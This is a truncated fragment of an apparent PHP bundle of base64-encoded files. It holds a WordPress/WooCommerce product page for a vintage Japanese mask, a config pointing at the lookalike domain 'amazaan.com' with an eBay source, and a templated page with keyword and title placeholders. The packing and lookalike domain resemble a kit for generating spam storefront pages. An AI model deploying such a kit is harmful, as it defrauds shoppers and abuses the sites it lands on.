zZXRzL2xpYi93YXlwb2ludHMvd2F5cG9pbnRzLm1pbi5qcz92ZXI9NC4wLjInDQogICAgICAgIGlkPSdlbGVtZW50b3Itd2F5cG9pbnRzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1qcy1iZWZvcmUnPg0KICAgIHZhciBlbGVtZW50b3JGcm9udGVuZENvbmZpZyA9IHsNCiAgICAgICAgImVudmlyb25tZW50TW9kZSI6IHsiZWRpdCI6IGZhbHNlLCAid3BQcmV2aWV3IjogZmFsc2UsICJpc1NjcmlwdERlYnVnIjogZmFsc2V9LA0KICAgICAgICAiaTE4biI6IHsNCiAgICAgICAgICAgICJzaGFyZU9uRmFjZWJvb2siOiAiU2hhcmUgb24gRmFjZWJvb2siLA0KICAgICAgICAgICAgInNoYXJlT25Ud2l0dGVyIjogIlNoYXJlIG9uIFR3aXR0ZXIiLA0KICAgICAgICAgICAgInBpbkl0IjogIlBpbiBpdCIsDQogICAgICAgICAgICAiZG93bmxvYWQiOiAiRG93bmxvYWQiLA0KICAgICAgICAgICAgImRvd25sb2FkSW1hZ2UiOiAiRG93bmxvYWQgaW1hZ2UiLA0KICAgICAgICAgICAgImZ1bGxzY3JlZW4iOiAiRnVsbHNjcmVlbiIsDQogICAgICAgICAgICAiem9vbSI6ICJab29tIiwNCiAgICAgICAgICAgICJzaGFyZSI6ICJTaGFyZSIsDQogICAgICAgICAgICAicGxheVZpZGVvIjogIlBsYXkgVmlkZW8iLA0KICAgICAgICAgICAgInByZXZpb3VzIjogIlByZXZpb3VzIiwNCiAgICAgICAgICAgICJuZXh0IjogIk5leHQiLA0KICAgICAgICAgICAgImNsb3NlIjogIkNsb3NlIg0KICAgICAgICB9LA0KICAgICAgICAiaXNfcnRsIjogZmFsc2UsDQogICAgICAgICJicmVha3BvaW50cyI6IHsieHMiOiAwLCAic20iOiA0ODAsICJtZCI6IDc2OCwgImxnIjogMTAyNSwgInhsIjogMTQ0MCwgInh4bCI6IDE2MDB9LA0KICAgICAgICAicmVzcG9uc2l2ZSI6IHsNCiAgICAgICAgICAgICJicmVha3BvaW50cyI6IHsNCiAgICAgICAgICAgICAgICAibW9iaWxlIjogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiTW9iaWxlIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogNzY3LA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDc2NywNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IHRydWUNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJtb2JpbGVfZXh0cmEiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJNb2JpbGUgRXh0cmEiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiA4ODAsDQogICAgICAgICAgICAgICAgICAgICJkZWZhdWx0X3ZhbHVlIjogODgwLA0KICAgICAgICAgICAgICAgICAgICAiZGlyZWN0aW9uIjogIm1heCIsDQogICAgICAgICAgICAgICAgICAgICJpc19lbmFibGVkIjogZmFsc2UNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJ0YWJsZXQiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJUYWJsZXQiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiA5OTEsDQogICAgICAgICAgICAgICAgICAgICJkZWZhdWx0X3ZhbHVlIjogMTAyNCwNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IHRydWUNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJ0YWJsZXRfZXh0cmEiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJUYWJsZXQgRXh0cmEiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiAxMjAwLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDEyMDAsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiBmYWxzZQ0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgImxhcHRvcCI6IHsNCiAgICAgICAgICAgICAgICAgICAgImxhYmVsIjogIkxhcHRvcCIsDQogICAgICAgICAgICAgICAgICAgICJ2YWx1ZSI6IDEzNjYsDQogICAgICAgICAgICAgICAgICAgICJkZWZhdWx0X3ZhbHVlIjogMTM2NiwNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IGZhbHNlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAid2lkZXNjcmVlbiI6IHsNCiAgICAgICAgICAgICAgICAgICAgImxhYmVsIjogIldpZGVzY3JlZW4iLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiAyNDAwLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDI0MDAsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWluIiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiBmYWxzZQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSwNCiAgICAgICAgInZlcnNpb24iOiAiMy4xMC4yIiwNCiAgICAgICAgImlzX3N0YXRpYyI6IGZhbHNlLA0KICAgICAgICAiZXhwZXJpbWVudGFsRmVhdHVyZXMiOiB7DQogICAgICAgICAgICAiZV9kb21fb3B0aW1pemF0aW9uIjogdHJ1ZSwNCiAgICAgICAgICAgICJlX29wdGltaXplZF9hc3NldHNfbG9hZGluZyI6IHRydWUsDQogICAgICAgICAgICAiZV9vcHRpbWl6ZWRfY3NzX2xvYWRpbmciOiB0cnVlLA0KICAgICAgICAgICAgImExMXlfaW1wcm92ZW1lbnRzIjogdHJ1ZSwNCiAgICAgICAgICAgICJhZGRpdGlvbmFsX2N1c3RvbV9icmVha3BvaW50cyI6IHRydWUsDQogICAgICAgICAgICAiZV9oaWRkZW5fd29yZHByZXNzX3dpZGdldHMiOiB0cnVlLA0KICAgICAgICAgICAgImxhbmRpbmctcGFnZXMiOiB0cnVlLA0KICAgICAgICAgICAgImtpdC1lbGVtZW50cy1kZWZhdWx0cyI6IHRydWUNCiAgICAgICAgfSwNCiAgICAgICAgInVybHMiOiB7ImFzc2V0cyI6ICJcL3dwLWNvbnRlbnRcL3BsdWdpbnNcL2VsZW1lbnRvclwvYXNzZXRzXC8ifSwNCiAgICAgICAgInNldHRpbmdzIjogeyJlZGl0b3JQcmVmZXJlbmNlcyI6IFtdfSwNCiAgICAgICAgImtpdCI6IHsNCiAgICAgICAgICAgICJ2aWV3cG9ydF90YWJsZXQiOiAiOTkxIiwNCiAgICAgICAgICAgICJhY3RpdmVfYnJlYWtwb2ludHMiOiBbInZpZXdwb3J0X21vYmlsZSIsICJ2aWV3cG9ydF90YWJsZXQiXSwNCiAgICAgICAgICAgICJnbG9iYWxfaW1hZ2VfbGlnaHRib3giOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF9lbmFibGVfY291bnRlciI6ICJ5ZXMiLA0KICAgICAgICAgICAgImxpZ2h0Ym94X2VuYWJsZV9mdWxsc2NyZWVuIjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfZW5hYmxlX3pvb20iOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF9lbmFibGVfc2hhcmUiOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF90aXRsZV9zcmMiOiAidGl0bGUiLA0KICAgICAgICAgICAgImxpZ2h0Ym94X2Rlc2NyaXB0aW9uX3NyYyI6ICJkZXNjcmlwdGlvbiINCiAgICAgICAgfSwNCiAgICAgICAgInBvc3QiOiB7DQogICAgICAgICAgICAiaWQiOiAwLA0KICAgICAgICAgICAgInRpdGxlIjogIlByb2R1Y3RzICYjODIxMTsgQW50aXF1ZXMsVmludGFnZSBKYXBhbmVzZSBXb29kZW4gSGFubnlhIE1hc2sgSmFwYW4gV29vZCBIb3JuZWQgRGVtb24gT25pIiwNCiAgICAgICAgICAgICJleGNlcnB0IjogIjxwPlRoaXMgaXMgd2hlcmUgeW91IGNhbiBicm93c2UgcHJvZHVjdHMgaW4gdGhpcyBzdG9yZS48XC9wPlxuIg0KICAgICAgICB9DQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvZWxlbWVudG9yL2Fzc2V0cy9qcy9mcm9udGVuZC5taW4uanM/dmVyPTMuMTAuMicgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1qcyc+PC9zY3JpcHQ+DQo8IS0tIFdvb0NvbW1lcmNlIEphdmFTY3JpcHQgLS0+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgalF1ZXJ5KGZ1bmN0aW9uICgkKSB7DQogICAgICAgIGpRdWVyeShkb2N1bWVudC5ib2R5KS50cmlnZ2VyKCd3Y19mcmFnbWVudF9yZWZyZXNoJykNCiAgICB9KTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==',
  'config.json' => 'ew0KICAiYXBpX3VybCIgOiAid3d3LmFtYXphYW4uY29tIiwNCiAgImFwaV9zcmMiIDogImViYXkiLA0KICAiYXBpX2V4dHJhIiA6ICJ1cyIsDQogICJuZ2lueCIgOiAiMCIsDQogICJkb21haW5faWQiIDogIjIiLA0KICAiYXBwX2lkIiA6ICJ7YXBwfSINCn0NCg==',
  'detail.html' => 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbi1VUyIgcHJlZml4PSJvZzogaHR0cDovL29ncC5tZS9ucyMgZmI6IGh0dHA6Ly9vZ3AubWUvbnMvZmIjIj4NCjxoZWFkPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ii8+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEiLz4NCiAgICB7e2tleXdvcmRzfX0NCiAgICB7e2Rlc2NyaXB0aW9ufX0NCiAgICB7e2RldGFpbF9qc29uX2lkfX0NCiAgICB7e3RpdGxlfX0NCiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+DQogICAgPHN0eWxlPg0KICAgICAgICBpbWcud3Atc21pbGV5LA0KICAgICAgICBpbWcuZW1vamkgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGhlaWdodDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB3aWR0aDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBtYXJnaW46IDAgMC4wN2VtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3dwLWJsb2NrLWxpYnJhcnktY3NzJyBocmVmPScvd3AtaW5jbHVkZXMvY3NzL2Rpc3QvYmxvY2stbGlicmFyeS9zdHlsZS5taW4uY3NzP3Zlcj02LjEuNScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSd3cC1ibG9jay1saWJyYXJ5LXRoZW1lLWlubGluZS1jc3MnPg0KICAgICAgICAud3AtYmxvY2stYXVkaW8gZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWF1ZGlvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1hdWRpbyB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1jb2RlIHsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBmb250LWZhbWlseTogTWVubG8sIENvbnNvbGFzLCBtb25hY28sIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IC44ZW0gMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stZW1iZWQgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWVtYmVkIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1lbWJlZCB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5ibG9ja3MtZ2FsbGVyeS1jYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAuYmxvY2tzLWdhbGxlcnktY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLWltYWdlIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay1pbWFnZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2staW1hZ2Ugew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcHVsbHF1b3RlIHsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDRweCBzb2xpZDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDRweCBzb2xpZDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNzVlbTsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3INCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGVfX2NpdGF0aW9uLCAud3AtYmxvY2stcHVsbHF1b3RlIGNpdGUsIC53cC1ibG9jay1wdWxscXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNWVtOw0KICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUgew0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IC4yNWVtIHNvbGlkOw0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMS43NWVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZSBjaXRlLCAud3AtYmxvY2stcXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1ZW07DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1yaWdodCB7DQogICAgICAgICAgICBib3JkZXItbGVmdDogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yaWdodDogLjI1ZW0gc29saWQ7DQogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7DQogICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1jZW50ZXIgew0KICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUuaXMtbGFyZ2UsIC53cC1ibG9jay1xdW90ZS5pcy1zdHlsZS1sYXJnZSwgLndwLWJsb2NrLXF1b3RlLmlzLXN0eWxlLXBsYWluIHsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlYXJjaCAud3AtYmxvY2stc2VhcmNoX19sYWJlbCB7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VhcmNoX19idXR0b24gew0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2NjYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IC4zNzVlbSAuNjI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIDp3aGVyZSgud3AtYmxvY2stZ3JvdXAuaGFzLWJhY2tncm91bmQpIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEuMjVlbSAyLjM3NWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VwYXJhdG9yLmhhcy1jc3Mtb3BhY2l0eSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvciB7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQ7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0bzsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0bw0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYWxwaGEtY2hhbm5lbC1vcGFjaXR5IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDENCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1zZXBhcmF0b3I6bm90KC5pcy1zdHlsZS13aWRlKTpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7DQogICAgICAgICAgICBoZWlnaHQ6IDFweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLXdpZGUpOm5vdCguaXMtc3R5bGUtZG90cykgew0KICAgICAgICAgICAgaGVpZ2h0OiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSB7DQogICAgICAgICAgICBtYXJnaW46ICIwIDAgMWVtIDAiDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGhlYWQgew0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGZvb3Qgew0KICAgICAgICAgICAgYm9yZGVyLXRvcDogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGQsIC53cC1ibG9jay10YWJsZSB0aCB7DQogICAgICAgICAgICB3b3JkLWJyZWFrOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAud3AtYmxvY2stdGFibGUgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXZpZGVvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay12aWRlbyBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdmlkZW8gew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGVtcGxhdGUtcGFydC5oYXMtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxLjI1ZW0gMi4zNzVlbTsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3djLWJsb2Nrcy12ZW5kb3JzLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL3BhY2thZ2VzL3dvb2NvbW1lcmNlLWJsb2Nrcy9idWlsZC93Yy1ibG9ja3MtdmVuZG9ycy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd3Yy1ibG9ja3Mtc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvcGFja2FnZXMvd29vY29tbWVyY2UtYmxvY2tzL2J1aWxkL3djLWJsb2Nrcy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjbGFzc2ljLXRoZW1lLXN0eWxlcy1jc3MnIGhyZWY9Jy93cC1pbmNsdWRlcy9jc3MvY2xhc3NpYy10aGVtZXMubWluLmNzcz92ZXI9MScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdnbG9iYWwtc3R5bGVzLWlubGluZS1jc3MnPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrOiAjMDAwMDAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheTogI2FiYjhjMzsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlOiAjZmZmZmZmOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rOiAjZjc4ZGE3Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcmVkOiAjY2YyZTJlOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiAjZmY2OTAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXI6ICNmY2I5MDA7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodC1ncmVlbi1jeWFuOiAjN2JkY2I1Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbjogIzAwZDA4NDsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlOiAjOGVkMWZjOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtY3lhbi1ibHVlOiAjMDY5M2UzOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlOiAjOWI1MWUwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcHJpbWFyeTogIzIyMjUyOTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXNlY29uZGFyeTogI2VlODM3OTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXRlcnRpYXJ5OiAjMmJhYWIxOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcXVhdGVybmFyeTogIzM4M2Y0ODsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWRhcms6ICMyMjI1Mjk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodDogI2ZmZmZmZjsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGU6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYmEoNiwgMTQ3LCAyMjcsIDEpIDAlLCByZ2IoMTU1LCA4MSwgMjI0KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbjogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDEyMiwgMjIwLCAxODApIDAlLCByZ2IoMCwgMjA4LCAxMzApIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtYW1iZXItdG8tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1MiwgMTg1LCAwLCAxKSAwJSwgcmdiYSgyNTUsIDEwNSwgMCwgMSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1vcmFuZ2UtdG8tdml2aWQtcmVkOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1NSwgMTA1LCAwLCAxKSAwJSwgcmdiKDIwNywgNDYsIDQ2KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZlcnktbGlnaHQtZ3JheS10by1jeWFuLWJsdWlzaC1ncmF5OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjM4LCAyMzgsIDIzOCkgMCUsIHJnYigxNjksIDE4NCwgMTk1KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWNvb2wtdG8td2F